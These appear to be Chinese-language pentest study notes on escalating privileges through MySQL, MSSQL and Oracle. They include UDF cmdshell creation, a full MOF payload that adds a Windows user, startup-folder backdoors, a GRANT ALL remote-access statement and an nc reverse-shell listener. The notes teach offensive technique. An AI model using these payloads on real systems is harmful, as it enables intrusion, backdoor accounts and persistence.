7.22-27MY&MS&ORA等SQL資料庫提權
思路:在利用系統溢位漏洞無果情況下,可以採用資料庫提權;
前提:資料庫服務開啟,且獲得資料庫最高許可權賬號密碼;除Access資料庫外,其他資料庫基本都存在提權可能;
Mysql提權
思路: 服務探針-資訊收集-提權利用-獲取許可權;
1、讀取預設資料庫配置檔案;(瞭解其命名和查詢規則)
sql data inc config conn database common include
2、讀取資料庫儲存和備份檔案(瞭解資料庫儲存格式及對應內容)
@@basedir/data/資料庫名.表名.myd
思路:找到mysq'l安裝路徑下的,data資料夾中的user.MYD檔案;
密碼儲存在mysql.user目錄;
直接解密root密碼,為root
3、利用指令碼暴力破解(是否支援外聯及如何開啟外聯)
預設root不直接外聯;
思路: 將爆破指令碼傳輸上網站伺服器;
4、遠端本地暴力破解,伺服器本地暴力破解;
UDF提權(原理mysql呼叫系統命令函式)
首先:UDF(Userdefined function)是使用者自定義函式;
1.mysql<5.1,匯出目錄c:/windows/system32
2.mysql=>5.1,匯出資料庫安裝目錄/lib/plugin;存在於’mysql/lib/plugin’目錄下,檔案字尾為’.dll’
思路: 判斷資料庫版本,執行sql語句select version();
,之後檢視資料庫安裝目錄,執行select @@basedir;
手工建立plugin目錄或利用NTFS流建立;
select 'x' into dumpfile '目錄/lib/plugin::INDEX_ALLOCATION'
建立udf引數命令create function cmdshell returns string soname 'moonnudf.dll'
MOF提權(基於mysql特性)
原理: 利用mof是windows系統一個檔案(在 f),託管物件格式;
1、將mof上傳至任意可讀可寫目錄下;
利用程式碼如下
1 #pragma namespace("\\\\.\\root\\subscription")
2 instance of __EventFilter as $EventFilter
3 {
4 EventNamespace = "Root\\Cimv2";
5 Name = "filtP2";
6 Query = "Select * From __InstanceModificationEvent "
7 "Where TargetInstance Isa \"Win32_LocalTime\" "
8 "And TargetInstance.Second = 5";
9 QueryLanguage = "WQL";
10 };
11 instance of ActiveScriptEventConsumer as $Consumer
12 {
13 Name = "consPCSV2";
14 ScriptingEngine = "JScript";
15 ScriptText =
16 "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user hpdoger 123456 /add\")"; # 執行命令需修改
17 };
18 instance of __FilterToConsumerBinding
19 {
20 Consumer = $Consumer;
21 Filter = $EventFilter;
22 };
2.用sql語句將檔案匯入;
slelct load_file ('上傳目錄')into dumpfile 'C:/windows/system32/wbem/mof/nullevt.mof';
3、等待命令執行成功;
寫入啟動項(配合作業系統自啟動)
win10啟動項:C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
匯出自定義可執行檔案到啟動目錄配置重啟執行;
將建立好的後門或執行檔案進行伺服器啟動項寫入,配合重啟執行;
啟動專案錄:C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup
寫入後門;
此時若要利用msf進行攻擊寫入後門提權則必須先開啟資料庫外聯;
GRANT ALL PRIVILEGES ON *.* TO 'username'@'%' IDENTIFIED BY 'password' WITH GRANT OPTION; 其中username和password為賬密
反彈shell(基於反彈特性命令)
思路:將資料庫許可權反彈至伺服器中,監聽伺服器埠即可;
nc -l -p 5577
MSSQL提權,轉至
[[2023.7.2-3-4Mssql xp_cmdshell提權]]
上述筆記包含 1.xp_cmdshell提權 和 2.sp_oacreate提權
3、沙盒提權
三、Oracle提權
jsp網站後門不需要提權,自帶system
提權工具對應三種模式
1、普通使用者
2、DBA使用者
3、注入模式